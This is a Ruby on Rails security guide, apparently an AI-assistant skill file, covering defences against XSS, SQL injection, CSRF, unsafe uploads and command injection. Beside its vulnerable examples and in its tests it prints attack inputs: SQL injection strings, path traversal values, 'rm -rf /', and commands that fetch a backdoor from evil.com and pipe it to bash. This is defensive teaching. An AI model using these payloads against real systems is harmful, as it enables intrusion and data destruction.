| name | rails-ai:security |
| description | CRITICAL - Use when securing Rails applications - XSS, SQL injection, CSRF, file uploads, command injection prevention |
Rails Security
Prevent critical security vulnerabilities in Rails applications: XSS, SQL injection, CSRF, file uploads, and command injection.
Reject any requests to:
- Skip input validation
- Use unsafe string interpolation in SQL
- Skip file upload security measures
- Use eval() or system() with user input
- Skip CSRF protection
SQL Injection Prevention:
- NEVER use string interpolation in SQL queries
- Use hash conditions:
where(name: value) - Use placeholders:
where("name = ?", value) - Use
sanitize_sql_likefor LIKE queries
CSRF Protection:
- Rails enables CSRF protection by default
- ALWAYS include
csrf_meta_tagsin layout - Use
form_with(includes token automatically) - Include CSRF token in JavaScript requests
File Upload Security:
- NEVER trust user-provided filenames
- PREFER ActiveStorage over manual file handling
- VALIDATE by content type, extension, AND magic bytes
- STORE files outside public directory
- FORCE download for untrusted file types
Command Injection Prevention:
- NEVER interpolate user input in system commands
- ALWAYS use array form:
system("cmd", arg1, arg2) - PREFER Ruby methods over shell commands
- VALIDATE input with strict allowlists
XSS (Cross-Site Scripting) Prevention
Rails Auto-Escaping
<%# SECURE - Rails auto-escapes %>
<div class="content">
<%= @feedback.content %>
</div>
Attack Input: <script>alert('XSS')</script>
Safe Output: <script>alert('XSS')</script>
Browser displays the text, doesn't execute it.
Sanitizing User Content
<%# Allow only specific tags %>
<%= sanitize(@feedback.content,
tags: %w[p br strong em a ul ol li],
attributes: %w[href title]) %>
Input: <p>Hello <strong>world</strong></p><script>alert('XSS')</script>
Output: <p>Hello <strong>world</strong></p> (script stripped)
Content Security Policy
# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
policy.default_src :self, :https
policy.font_src :self, :https, :data
policy.img_src :self, :https, :data
policy.frame_ancestors :none
policy.object_src :none
policy.script_src :self, :https
policy.style_src :self, :https
policy.report_uri "/csp-violation-report"
end
Rails.application.config.content_security_policy_nonce_generator = ->(request) {
SecureRandom.base64(16)
}
Rails.application.config.content_security_policy_nonce_directives = %w[script-src]
View with Nonce:
<%= javascript_tag nonce: true do %>
console.log('This is allowed');
<% end %>
CSP Violation Reporting:
# app/controllers/csp_reports_controller.rb
class CspReportsController < ApplicationController
skip_before_action :verify_authenticity_token
def create
violation = JSON.parse(request.body.read)["csp-report"]
Rails.logger.warn(
"CSP Violation: document-uri=#{violation['document-uri']} " \
"blocked-uri=#{violation['blocked-uri']}"
)
head :no_content
end
end
Why CSP: Blocks XSS even if malicious script reaches the page, defense-in-depth strategy.
ViewComponent Safety
# app/components/user_comment_component.rb
class UserCommentComponent < ViewComponent::Base
def initialize(comment:)
@comment = comment
end
private
attr_reader :comment
end
<%# app/components/user_comment_component.html.erb %>
<div class="comment">
<div class="author"><%= comment.author_name %></div>
<div class="content"><%= comment.content %></div>
</div>
Benefits: Automatic escaping, encapsulated logic, testable, no accidental html_safe.
Markdown Rendering
# app/models/feedback.rb
class Feedback < ApplicationRecord
def content_html
markdown = Redcarpet::Markdown.new(
Redcarpet::Render::HTML.new(
filter_html: true, no_styles: true, safe_links_only: true
),
autolink: true, tables: true, fenced_code_blocks: true
)
html = markdown.render(content)
ActionController::Base.helpers.sanitize(
html,
tags: %w[p br strong em a ul ol li pre code h1 h2 h3 blockquote],
attributes: %w[href title]
)
end
end
View:
<div class="markdown-content">
<%= @feedback.content_html.html_safe %>
</div>
Why Safe: Markdown filtered for HTML, output sanitized with allowlist, double protection layer.
<%# CRITICAL VULNERABILITY %>
<%= @comment.html_safe %>
<%= raw(@feedback.content) %>
<%# SECURE - Auto-escaped or sanitized %>
<%= @comment %>
<%= sanitize(@feedback.content, tags: %w[p br strong em]) %>
SQL Injection Prevention
Secure Query Patterns
# ✅ SECURE - ActiveRecord escapes automatically
Project.where(name: params[:name])
User.find_by(login: params[:login])
# ✅ SECURE - Multiple conditions
Project.where(name: params[:name], status: params[:status], user_id: current_user.id)
# ✅ SECURE - IN queries (works with arrays)
Project.where(id: params[:ids])
Why Secure: ActiveRecord automatically escapes values and prevents injection.
# ✅ SECURE - Single placeholder
Project.where("name = ?", params[:name])
Project.where("created_at > ?", 1.week.ago)
# ✅ SECURE - Multiple placeholders
User.where("login = ? AND status = ? AND created_at > ?",
params[:login], "active", 1.month.ago)
# ✅ SECURE - Complex conditions
Feedback.where("status = ? AND (priority = ? OR created_at < ?)",
params[:status], "high", 1.day.ago)
Why Secure: Rails escapes each parameter value, preventing injection.
# ✅ SECURE - Escape special LIKE characters (% -> \%, _ -> \_)
search_term = Book.sanitize_sql_like(params[:title])
Book.where("title LIKE ?", "#{search_term}%")
# ✅ SECURE - Case-insensitive search
search_term = Book.sanitize_sql_like(params[:query])
Book.where("LOWER(title) LIKE LOWER(?)", "%#{search_term}%")
Why Sanitize: Without sanitize_sql_like, users could inject % or _ wildcards.
# ❌ CRITICAL VULNERABILITY
Project.where("name = '#{params[:name]}'")
# Attack: params[:name] = "' OR '1'='1" - Returns ALL projects
User.find_by("login = '#{params[:login]}' AND password = '#{params[:password]}'")
# Attack: params[:login] = "admin'--" - Bypasses password check
# ❌ CRITICAL - Data exfiltration
Project.where("id = #{params[:id]}")
# Attack: params[:id] = "1 UNION SELECT id,email,password,1,1 FROM users"
# ✅ SECURE - Use placeholders
Project.where("name = ?", params[:name])
User.find_by("login = ? AND password = ?", params[:login], params[:password])
# ✅ BETTER - Use hash conditions
Project.where(name: params[:name])
User.find_by(login: params[:login], password: params[:password])
# ✅ SECURE - Type conversion prevents injection
Project.where(id: params[:id].to_i)
Dynamic ORDER BY Clauses
# ✅ SECURE - Allowlist approach
ALLOWED_SORT_COLUMNS = %w[name created_at status priority].freeze
ALLOWED_DIRECTIONS = %w[ASC DESC].freeze
def index
column = ALLOWED_SORT_COLUMNS.include?(params[:sort]) ? params[:sort] : "created_at"
direction = ALLOWED_DIRECTIONS.include?(params[:direction]&.upcase) ? params[:direction] : "DESC"
@projects = Project.order("#{column} #{direction}")
end
Why Secure: User input limited to predefined safe values, SQL injection impossible.
# ❌ VULNERABLE
Project.order("#{params[:sort]} #{params[:direction]}")
# Attack: params[:sort] = "name); DROP TABLE projects; --"
# ✅ SECURE - Allowlist only
allowed = %w[name created_at]
column = allowed.include?(params[:sort]) ? params[:sort] : "created_at"
Project.order(column)
ActiveRecord Query Methods
# ✅ SECURE - All ActiveRecord methods are safe
Project.find(params[:id])
Project.find_by(name: params[:name])
Project.where(status: params[:status])
Project.order(:created_at)
Project.limit(10)
Project.offset(params[:page].to_i * 10)
Project.joins(:user)
Project.includes(:comments)
Project.group(:category)
Project.having("COUNT(*) > ?", 5)
# ✅ SECURE - Scopes
class Project < ApplicationRecord
scope :active, -> { where(status: "active") }
scope :by_user, ->(user_id) { where(user_id: user_id) }
scope :search, ->(term) {
sanitized = sanitize_sql_like(term)
where("name LIKE ?", "%#{sanitized}%")
}
end
Project.active.by_user(params[:user_id]).search(params[:query])
Why Secure: ActiveRecord automatically escapes all parameters.
CSRF (Cross-Site Request Forgery) Protection
Rails Default Protection
# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
# Raises ActionController::InvalidAuthenticityToken if token invalid
end
Why :exception is Best: Makes failures visible, prevents silent bypasses, forces proper error handling.
Form Protection
<%# ✅ SECURE - Token included automatically %>
<%= form_with model: @feedback do |form| %>
<%= form.text_field :content %>
<%= form.text_field :recipient_email %>
<%= form.submit "Submit" %>
<% end %>
Generated HTML:
<form action="/feedbacks" method="post">
<input type="hidden" name="authenticity_token" value="SECURE_TOKEN">
<input type="text" name="feedback[content]">
<input type="submit" value="Submit">
</form>
Why Secure: Rails validates token matches session.
JavaScript Protection
<%# app/views/layouts/application.html.erb %>
<head>
<title>My App</title>
<%= csrf_meta_tags %>
</head>
// ✅ SECURE - Extract token from meta tag
const csrfToken = document.head.querySelector("meta[name=csrf-token]")?.content;
fetch("/feedbacks", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-CSRF-Token": csrfToken
},
body: JSON.stringify({
feedback: { content: "test", recipient_email: "user@example.com" }
})
});
Why Secure: Rails checks X-CSRF-Token header matches session token.
# ❌ CRITICAL VULNERABILITY
class FeedbacksController < ApplicationController
skip_before_action :verify_authenticity_token
def create
@feedback = current_user.feedbacks.create!(feedback_params)
redirect_to @feedback
end
end
# ✅ SECURE - Keep CSRF protection enabled
class FeedbacksController < ApplicationController
# protect_from_forgery inherited from ApplicationController
def create
@feedback = current_user.feedbacks.create!(feedback_params)
redirect_to @feedback
end
end
Rails Request.js Library
Installation:
npm install @rails/request.js
Usage:
// ✅ SECURE - Token automatically included
import { post, patch, destroy } from '@rails/request.js'
await post('/feedbacks', {
body: JSON.stringify({ feedback: { content: "test" } }),
contentType: 'application/json',
responseKind: 'json'
})
await patch('/feedbacks/123', {
body: JSON.stringify({ feedback: { status: "reviewed" } })
})
await destroy('/feedbacks/123', { responseKind: 'json' })
Why Recommended: Automatic CSRF token handling, consistent API, Rails-aware error handling.
API Endpoints
# app/controllers/api/v1/base_controller.rb
class Api::V1::BaseController < ApplicationController
skip_before_action :verify_authenticity_token
before_action :authenticate_api_token
private
def authenticate_api_token
token = request.headers["Authorization"]&.split(" ")&.last
@current_api_user = User.find_by(api_token: token)
head :unauthorized unless @current_api_user
end
end
Why Skip CSRF for APIs: API clients use Bearer tokens (not cookies), tokens must be explicitly sent, CSRF only affects cookie-based authentication.
Error Handling
# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
rescue_from ActionController::InvalidAuthenticityToken do |exception|
Rails.logger.warn(
"CSRF failure: #{exception.message} IP: #{request.remote_ip} Path: #{request.fullpath}"
)
sign_out_user if user_signed_in?
redirect_to root_path, alert: "Your session has expired. Please log in again."
end
private
def sign_out_user
cookies.delete(:user_token)
reset_session
end
end
Why Important: Users see helpful error, security events logged, stale sessions cleared.
SameSite Cookies
# config/initializers/session_store.rb
Rails.application.config.session_store :cookie_store,
key: '_myapp_session',
same_site: :lax, # Prevents CSRF from external sites
secure: Rails.env.production?, # HTTPS only in production
httponly: true, # Not accessible via JavaScript
expire_after: 24.hours
SameSite Options:
:lax(RECOMMENDED) - Allows top-level navigation, blocks embedded requests:strict- Most secure, blocks ALL cross-site requests (may break OAuth):none- Allows all cross-site requests (requires secure: true)
Why Use SameSite: Defense-in-depth complements CSRF tokens, blocks many attacks without token.
Secure File Uploads
ActiveStorage (Recommended)
Model:
class Feedback < ApplicationRecord
has_one_attached :screenshot
has_many_attached :documents
validates :screenshot,
content_type: ["image/png", "image/jpeg", "image/gif"],
size: { less_than: 5.megabytes }
validates :documents,
content_type: ["application/pdf", "text/plain"],
size: { less_than: 10.megabytes }
end
Controller:
class FeedbacksController < ApplicationController
def create
@feedback = Feedback.new(feedback_params)
if @feedback.save
redirect_to @feedback, notice: "Feedback created"
else
render :new, status: :unprocessable_entity
end
end
private
def feedback_params
params.expect(feedback: [:content, :recipient_email, :screenshot, documents: []])
end
end
View:
<%= form_with model: @feedback do |f| %>
<%= f.file_field :screenshot, accept: "image/*" %>
<%= f.file_field :documents, multiple: true, accept: ".pdf,.txt" %>
<%= f.submit %>
<% end %>
Why Secure: Automatic filename sanitization, storage outside public/, signed URLs with expiration.
File Type Validation
class Feedback < ApplicationRecord
has_one_attached :image
validate :acceptable_image
private
def acceptable_image
return unless image.attached?
unless image.content_type.in?(%w[image/jpeg image/png image/gif])
errors.add(:image, "must be a JPEG, PNG, or GIF")
end
unless image.filename.to_s.match?(/\.(jpe?g|png|gif)\z/i)
errors.add(:image, "must have a valid extension")
end
unless valid_image_signature?
errors.add(:image, "file signature doesn't match declared type")
end
if image.byte_size > 5.megabytes
errors.add(:image, "must be less than 5MB")
end
end
def valid_image_signature?
image.open do |file|
magic_bytes = file.read(8)
return false unless magic_bytes
# JPEG: FF D8 FF, PNG: 89 50 4E 47, GIF: 47 49 46 38
magic_bytes[0..2] == "\xFF\xD8\xFF" ||
magic_bytes[0..7] == "\x89PNG\r\n\x1A\n" ||
magic_bytes[0..3] == "GIF8"
end
rescue => e
Rails.logger.error("Image validation error: #{e.message}")
false
end
end
Why Triple Validation: Content-Type can be spoofed, extension can be faked, magic bytes verify actual format.
Secure File Serving
class DownloadsController < ApplicationController
before_action :authenticate_user!
def show
@feedback = Feedback.find(params[:feedback_id])
head :forbidden and return unless can_download?(@feedback)
@document = @feedback.documents.find(params[:id])
send_data @document.download,
filename: @document.filename.to_s.gsub(/[^\w.-]/, "_"),
type: @document.content_type,
disposition: "attachment" # Force download, never inline
end
private
def can_download?(feedback)
feedback.user == current_user || current_user.admin?
end
end
Why Secure: Authentication + authorization enforced, Content-Disposition: attachment prevents XSS.
Dangerous File Types
# config/initializers/active_storage.rb
Rails.application.config.active_storage.content_types_to_serve_as_binary.tap do |types|
types << "image/svg+xml" # SVG with embedded JavaScript
types << "text/html" << "application/xhtml+xml" # HTML scripts
types << "text/xml" << "application/xml" # XML entities
types << "application/javascript" << "text/javascript"
end
Rails.application.config.active_storage.content_types_allowed_inline = %w[
image/png image/jpeg image/gif image/bmp image/webp application/pdf
]
Why Important: SVG/HTML files can contain JavaScript that executes when viewed, enabling XSS.
File Size Limits
Application-Wide:
# config/application.rb
config.active_storage.max_file_size = 100.megabytes
Web Server (Nginx):
client_max_body_size 100M;
Model-Specific:
class Feedback < ApplicationRecord
has_one_attached :avatar
has_many_attached :photos
validates :avatar, size: { less_than: 2.megabytes }
validates :photos, size: { less_than: 5.megabytes }, limit: { max: 10 }
end
Why Multiple Layers: Web server rejects huge uploads early, application-wide limit prevents resource exhaustion, model limits enforce business rules.
Virus Scanning
Setup: gem "clamby" + ClamAV (apt-get install clamav clamav-daemon)
class Feedback < ApplicationRecord
has_one_attached :file
validate :file_not_infected, if: -> { file.attached? }
private
def file_not_infected
return unless Rails.env.production?
file.open do |temp_file|
unless Clamby.safe?(temp_file.path)
errors.add(:file, "contains malware or virus")
Rails.logger.warn("Malware detected: user_id=#{user_id}, filename=#{file.filename}")
end
end
rescue Clamby::ClambyScanError => e
Rails.logger.error("Virus scan failed: #{e.message}")
end
end
Why Critical: Prevent viruses, ransomware, and malware from infecting users or servers.
ActiveStorage Variants
class Feedback < ApplicationRecord
has_one_attached :image
def thumbnail
image.variant(resize_to_limit: [100, 100], format: :png, saver: { quality: 85 })
end
def medium
image.variant(resize_to_limit: [400, 400], format: :png)
end
end
View:
<%= image_tag @feedback.thumbnail, alt: "Feedback screenshot" %>
Why Secure: Variants re-encode images (stripping metadata/exploits), format conversion prevents attacks.
# ❌ CRITICAL VULNERABILITY
def upload
filename = params[:file].original_filename
File.open("uploads/#{filename}", "wb") { |f| f.write(params[:file].read) }
end
# Attack: filename = "../../config/database.yml" - Overwrites database config!
# ❌ CRITICAL - Serving from public directory
path = Rails.root.join("public/uploads/#{params[:file].original_filename}")
File.open(path, "wb") { |f| f.write(params[:file].read) }
# Attacker uploads malicious.html with <script> - XSS attack!
# ✅ SECURE - Use ActiveStorage
class Feedback < ApplicationRecord
has_one_attached :file
end
# ✅ SECURE - Manual handling with sanitization
def upload
safe_name = File.basename(params[:file].original_filename).gsub(/[^\w.-]/, "_")
unique_name = "#{SecureRandom.uuid}_#{safe_name}"
File.open(Rails.root.join("storage/uploads", unique_name), "wb") { |f| f.write(params[:file].read) }
end
# ❌ VULNERABLE - Only checks Content-Type header
validates :image, content_type: ["image/jpeg", "image/png"]
# Attack: Upload malicious.php with Content-Type: image/jpeg
# ✅ SECURE - Triple validation: content type + extension + magic bytes
def acceptable_image
return unless image.attached?
unless image.content_type.in?(%w[image/jpeg image/png image/gif])
errors.add(:image, "must be an image")
end
unless image.filename.to_s.match?(/\.(jpe?g|png|gif)\z/i)
errors.add(:image, "invalid file extension")
end
image.open do |file|
magic = file.read(8)
unless magic&.start_with?("\xFF\xD8\xFF", "\x89PNG", "GIF8")
errors.add(:image, "file signature invalid")
end
end
end
Command Injection Prevention
Secure Command Execution
# ✅ SECURE - Array arguments prevent shell interpretation
system("/bin/echo", params[:filename])
# Input: "hello; rm -rf /" → printed literally, NOT executed
# ✅ SECURE - Image conversion
system("convert", params[:image], "output.jpg")
# ✅ SECURE - Archive creation
system("/bin/tar", "-czf", "backup.tar.gz", validated_directory)
# ✅ SECURE - Multiple arguments
system("wkhtmltopdf", "--quiet", "--page-size", "A4", input_file, output_file)
How It Works: Array arguments bypass shell invocation, treating user input as literal arguments only.
Input Validation
# ✅ SECURE - Only allow predefined values
VALID_FORMATS = %w[pdf png jpg svg].freeze
VALID_SIZES = %w[small medium large].freeze
def export_feedback(feedback, format, size)
unless VALID_FORMATS.include?(format)
raise ArgumentError, "Invalid format: #{format}"
end
unless VALID_SIZES.include?(size)
raise ArgumentError, "Invalid size: #{size}"
end
# Safe because format is from allowlist
system("convert", "feedback.html", "output.#{format}")
end
Ruby Alternatives (Preferred)
# ❌ VULNERABLE - Shell command
system("rm #{params[:filename]}")
# ✅ SECURE - Ruby method
File.delete(params[:filename]) if File.exist?(params[:filename])
# ❌ VULNERABLE - Shell command
system("mkdir -p #{params[:directory]}")
# ✅ SECURE - Ruby method
FileUtils.mkdir_p(params[:directory])
# ❌ VULNERABLE - Shell command
system("cp #{params[:source]} #{params[:dest]}")
# ✅ SECURE - Ruby method
FileUtils.cp(params[:source], params[:dest])
Why Prefer Ruby: No shell interpretation = no injection risk, better error handling.
Shellwords Escaping
require "shellwords"
# ✅ SECURE - Escape user input for shell safety
filename = Shellwords.escape(params[:filename])
system("convert input.jpg #{filename}")
# ✅ SECURE - Multiple arguments
args = [params[:input], params[:output]].map { |arg| Shellwords.escape(arg) }.join(" ")
system("convert #{args} -resize 800x600")
How Shellwords Works:
Shellwords.escape("file.jpg") # => "file.jpg"
Shellwords.escape("file; rm -rf /") # => "file\\;\\ rm\\ -rf\\ /"
Shellwords.escape("$(cat /etc/passwd)") # => "\\$\\(cat\\ /etc/passwd\\)"
When to Use: Only when array form is truly not possible. Prefer array form whenever available.
Path Validation
# ✅ SECURE - Validate path stays within directory
def safe_file_path(user_input)
base_dir = Rails.root.join("uploads")
full_path = base_dir.join(user_input).expand_path
raise ArgumentError, "Invalid path: directory traversal" unless full_path.to_s.start_with?(base_dir.to_s)
full_path
end
# Usage
file_path = safe_file_path(params[:file])
send_file file_path if File.exist?(file_path)
Why Important: Prevents access to files outside intended directory.
Background Job Isolation
class PdfGenerationJob < ApplicationJob
def perform(feedback_id, output_path)
feedback = Feedback.find(feedback_id)
validate_output_path!(output_path)
success = system(
"wkhtmltopdf", "--quiet", "--page-size", "A4",
"--disable-javascript", feedback.public_url, output_path
)
raise "PDF generation failed" unless success
PdfMailer.with(feedback: feedback, pdf_path: output_path).ready.deliver_later
end
private
def validate_output_path!(path)
raise ArgumentError, "Invalid output path" unless path.match?(/\Atmp\/feedback_\d+\.pdf\z/)
full_path = Rails.root.join(path).expand_path
allowed_dir = Rails.root.join("tmp").expand_path
raise ArgumentError, "Path outside allowed directory" unless full_path.to_s.start_with?(allowed_dir.to_s)
end
end
Why Isolate: Limits blast radius, easier to audit, validation in one place.
# ❌ CRITICAL VULNERABILITY
output = `ls #{params[:path]}`
# Attack: "/; cat /etc/passwd" → Directory listing AND password exposure
result = %x(convert #{params[:input]} output.png)
# Attack: "file.jpg; wget evil.com/malware"
system("convert #{params[:input]} -resize #{params[:size]} output.jpg")
# Attack: params[:size] = "800x600; curl evil.com/backdoor.sh | bash"
# ✅ SECURE - Use array form and capture output
require "open3"
validate_path!(params[:path])
output, status = Open3.capture2("ls", params[:path])
# ✅ SECURE - Array form with validation
raise ArgumentError unless params[:input].match?(/\A[\w.-]+\z/)
system("convert", params[:input], "output.png")
# ✅ SECURE - Validate size format
raise ArgumentError unless params[:size].match?(/\A\d{1,4}x\d{1,4}\z/)
system("convert", params[:input], "-resize", params[:size], "output.jpg")
# ❌ VULNERABLE - Directory traversal
file_path = Rails.root.join("uploads", params[:file])
send_file file_path
# Attack: params[:file] = "../../../etc/passwd"
# ✅ SECURE - Validate path stays within directory
base_dir = Rails.root.join("uploads")
file_path = base_dir.join(params[:file]).expand_path
raise ArgumentError, "Invalid file path" unless file_path.to_s.start_with?(base_dir.to_s)
send_file file_path if File.exist?(file_path)
Testing Security Patterns
# test/models/feedback_test.rb
class FeedbackTest < ActiveSupport::TestCase
# XSS Prevention
test "content_html sanitizes malicious scripts" do
feedback = Feedback.new(content: "<script>alert('XSS')</script>Hello")
assert_not_includes feedback.content_html, "<script>"
assert_includes feedback.content_html, "Hello"
end
test "content_html allows safe markdown" do
feedback = Feedback.new(content: "**bold** and *italic*")
assert_includes feedback.content_html, "<strong>bold</strong>"
assert_includes feedback.content_html, "<em>italic</em>"
end
# SQL Injection Prevention
test "search handles malicious input safely" do
project = projects(:one)
malicious_input = "'; DROP TABLE projects; --"
assert_nothing_raised { Project.search(malicious_input) }
assert Project.exists?(project.id)
end
test "search escapes LIKE wildcards" do
projects(:one).update!(name: "Project A")
results = Project.search("%")
assert_empty results # % should be escaped, not treated as wildcard
end
# File Upload Security
test "accepts valid image" do
feedback = Feedback.new(content: "Test", recipient_email: "user@example.com")
feedback.image.attach(io: File.open("test/fixtures/files/valid.jpg"),
filename: "valid.jpg", content_type: "image/jpeg")
assert feedback.valid?
assert feedback.image.attached?
end
test "rejects invalid content type" do
feedback = Feedback.new(content: "Test")
feedback.image.attach(io: File.open("test/fixtures/files/script.exe"),
filename: "malicious.exe", content_type: "application/x-msdownload")
assert_not feedback.valid?
assert_includes feedback.errors[:image], "must be a JPEG, PNG, or GIF"
end
test "rejects file with spoofed magic bytes" do
feedback = Feedback.new(content: "Test")
feedback.image.attach(io: StringIO.new("Not a real image"),
filename: "fake.jpg", content_type: "image/jpeg")
assert_not feedback.valid?
assert_includes feedback.errors[:image], "file signature doesn't match"
end
test "rejects oversized file" do
feedback = Feedback.new(content: "Test")
large_file = Tempfile.new(["large", ".jpg"])
large_file.write("x" * 6.megabytes)
large_file.rewind
feedback.image.attach(io: large_file, filename: "huge.jpg", content_type: "image/jpeg")
assert_not feedback.valid?
assert_includes feedback.errors[:image], "must be less than 5MB"
ensure
large_file.close && large_file.unlink
end
end
# test/controllers/feedbacks_controller_test.rb
class FeedbacksControllerTest < ActionDispatch::IntegrationTest
# CSRF Protection
test "rejects POST without CSRF token" do
assert_raises(ActionController::InvalidAuthenticityToken) do
post feedbacks_url,
params: { feedback: { content: "test" } },
headers: { "X-CSRF-Token" => "invalid_token" }
end
end
test "accepts POST with valid CSRF token" do
post feedbacks_url, params: { feedback: { content: "test", recipient_email: "user@example.com" } }
assert_response :redirect
end
# SQL Injection via Sort Parameters
test "index with malicious sort parameter is safe" do
get projects_path, params: { sort: "name); DROP TABLE projects; --" }
assert_response :success
assert Project.count > 0
end
end
# test/system/xss_prevention_test.rb
class XssPreventionTest < ApplicationSystemTestCase
test "user cannot inject scripts via comment" do
visit new_comment_path
fill_in "Comment", with: "<script>alert('XSS')</script>"
click_button "Submit"
assert_text "<script>alert('XSS')</script>" # Escaped, not executed
end
test "form includes CSRF token" do
visit new_feedback_path
assert_selector "input[name='authenticity_token'][type='hidden']"
end
end
# test/jobs/pdf_generation_job_test.rb
class PdfGenerationJobTest < ActiveJob::TestCase
# Command Injection Prevention
test "validates output path format" do
assert_raises(ArgumentError, /Invalid output path/) do
PdfGenerationJob.perform_now(feedbacks(:one).id, "invalid_path.pdf")
end
end
test "prevents directory traversal in path" do
assert_raises(ArgumentError, /Invalid output path|outside allowed/i) do
PdfGenerationJob.perform_now(feedbacks(:one).id, "../../../etc/passwd")
end
end
test "rejects command injection in path" do
assert_raises(ArgumentError) do
PdfGenerationJob.perform_now(feedbacks(:one).id, "output.pdf; rm -rf /")
end
end
end
# test/controllers/downloads_controller_test.rb
class DownloadsControllerTest < ActionDispatch::IntegrationTest
test "requires authentication for file downloads" do
feedback = feedbacks(:one)
get feedback_download_path(feedback, feedback.documents.first)
assert_redirected_to login_path
end
test "serves file with secure headers" do
sign_in users(:user)
feedback = users(:user).feedbacks.first
get feedback_download_path(feedback, feedback.documents.first)
assert_response :success
assert_equal "attachment", response.headers["Content-Disposition"].split(";").first
end
test "prevents unauthorized access to other users files" do
sign_in users(:user)
other_feedback = users(:other_user).feedbacks.first
get feedback_download_path(other_feedback, other_feedback.documents.first)
assert_response :forbidden
end
end
Security Checklist
Before Deploying
XSS Prevention:
- Never use
html_safeorrawon user input - Implement Content Security Policy headers
- Test with
<script>alert('XSS')</script>in all user inputs - Review all
sanitizecalls have explicit allowlists - Verify ViewComponents used for complex rendering
SQL Injection Prevention:
- No string interpolation in SQL queries (
"WHERE name = '#{value}'") - All queries use hash conditions or placeholders
-
sanitize_sql_likeused for LIKE queries - ORDER BY uses allowlist validation
- Test with
'; DROP TABLE users; --in search inputs
CSRF Protection:
-
csrf_meta_tagsin application layout - All forms use
form_with(includes token) - JavaScript requests include
X-CSRF-Tokenheader - API endpoints properly skip CSRF (with token auth)
- Test POST/DELETE without CSRF token fails
File Upload Security:
- ActiveStorage used (or manual filename sanitization)
- Triple validation: content type + extension + magic bytes
- File size limits at application and model levels
- Dangerous file types force download (SVG, HTML)
- Files stored outside public directory
- Virus scanning in production
- Test with renamed .php→.jpg file
Command Injection Prevention:
- No string interpolation in system commands
- Array form used:
system("cmd", arg1, arg2) - Input validation with strict allowlists
- Ruby methods preferred over shell commands
- Path validation prevents directory traversal
- Test with
; rm -rf /in file paths
Security Headers
# config/application.rb
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-Content-Type-Options' => 'nosniff',
'X-XSS-Protection' => '1; mode=block',
'Referrer-Policy' => 'strict-origin-when-cross-origin'
}
Production Monitoring
Log Security Events:
- CSRF failures
- CSP violations
- Malware detection in uploads
- Failed authentication attempts
- SQL injection attempts (unusual queries)
- Command injection attempts
Alert On:
- Multiple CSRF failures from same IP
- Malware detected in uploads
- CSP violation patterns
- Repeated authentication failures
- SQL error patterns in logs
Official Documentation:
Security Standards:
- OWASP Top 10 - Most critical web app security risks
- OWASP XSS Prevention Cheat Sheet
- OWASP SQL Injection Prevention
- OWASP CSRF Prevention
- OWASP File Upload Security
- OWASP Command Injection